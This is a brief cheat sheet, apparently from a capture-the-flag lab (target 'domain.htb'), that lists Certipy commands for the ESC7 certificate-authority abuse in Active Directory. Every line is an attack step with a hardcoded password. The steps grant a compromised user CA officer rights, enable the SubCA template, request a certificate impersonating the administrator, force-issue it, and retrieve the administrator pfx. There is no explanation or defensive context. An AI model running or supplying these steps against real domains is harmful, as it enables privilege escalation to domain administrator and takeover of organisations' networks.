ESC7

# Add pwned user as Officer
certipy ca -ca 'domain-DC01-CA' -username [e-mail] -password 'D3veloP3r!123' -add-officer user

# Enable the SubCA template (if not enabled already)
certipy ca -ca 'domain-DC01-CA' -username [e-mail] -password 'D3veloP3r!123' -enable-template 'SubCA'

# Request the certificate as administrator using the SubCA template
certipy req -ca 'domain-DC01-CA' -username [e-mail] -password 'D3veloP3r!123' -target dc01.domain.htb -template SubCA -upn [e-mail]

# issue the request to the CA 
certipy ca -ca 'domain-DC01-CA' -issue-request REQUEST-No. -username [e-mail] -password 'D3veloP3r!123'

# Request the administrator pfx
certipy req -username [e-mail] -password 'D3veloP3r!123' -ca domain-DC01-CA -target dc01.domain.htb -retrieve REQUEST-No.